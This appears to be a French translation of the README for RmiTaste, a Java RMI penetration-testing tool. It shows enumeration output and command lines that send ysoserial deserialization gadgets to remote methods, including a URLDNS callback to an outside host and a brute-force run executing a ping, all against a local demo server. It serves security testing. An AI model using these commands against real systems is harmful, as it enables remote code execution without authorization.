
Outil de test de sécurité Java RMI pour détecter, énumérer et exploiter des services RMI non sécurisés à l'aide de gadgets de désérialisation ysoserial afin d'exécuter du code à distance.
RmiTaste permet aux professionnels de la sécurité de détecter, énumérer, interagir avec et attaquer les services RMI en appelant des méthodes distantes avec des gadgets de ysoserial. Il permet également d'appeler une méthode distante avec des paramètres spécifiques.
RmiTaste a été conçu pour aider les professionnels de la sécurité à identifier les services RMI non sécurisés sur des systèmes pour lesquels l'utilisateur a obtenu une autorisation préalable d'attaquer. L'accès non autorisé à des systèmes informatiques est illégal et RmiTaste doit être utilisé conformément à toutes les lois en vigueur. Le non-respect de cette règle pourrait entraîner des poursuites judiciaires. Les développeurs de RmiTaste déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme.
Nécessite openjdk 11.0.3.
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
Warning: RmiTaste was written to aid security professionals in identifying the
insecure use of RMI services on systems which the user has prior
permission to attack. RmiTaste must be used in accordance with all
relevant laws. Failure to do so could lead to your prosecution.
The developers assume no liability and are not responsible for any
misuse or damage caused by this program.
RmiTaste dispose de 4 modes : conn, enum, attack et call. Chaque mode dispose d'une aide séparée.
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
-h, --help display this help message
Commands:
conn check connection to host
enum enumerate RMI service
attack attack RMI registry methods
call call specific method on RMI remote object
Le mode conn permet de vérifier si le port est un port de service RMI.
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
Le mode enum permet d'obtenir des informations sur le service RMI telles que : les noms des objets distants et les noms des classes que l'objet distant implémente ou étend. Si l'interface implémentée par l'objet distant est disponible dans le classpath de RmiTaste, alors RmiTaste affichera toutes les méthodes distantes que vous pouvez appeler sur cet objet distant.
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
Le mode attack permet d'appeler une méthode distante avec une chaîne de gadget spécifique de ysoserial. Supposons que l'objet distant dispose des méthodes suivantes :
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
L'option "-gen bruteforce" permet de forcer par brute force la méthode distante avec des gadgets de ysoserial. Dans cet exemple, la méthode deposit sera appelée plusieurs fois avec des gadgets de ysoserial.
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
Le mode call permet d'appeler une méthode spécifique sur un objet distant RMI. Supposons que l'objet distant dispose des méthodes suivantes :
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
Un serveur de démonstration est disponible ici.
Lancez le serveur de démonstration.
Énumérez la cible.
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
Comme vous pouvez le voir, RmiTaste a besoin de l'interface de l'objet distant. Lors des tests d'intrusion, vous devrez trouver cette interface. Dans cet exemple, copiez simplement rmitaste.examples-1.0-SNAPSHOT-all.jar dans le répertoire libs_attack. Énumérez à nouveau la cible :
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
Twitter : @_mzer0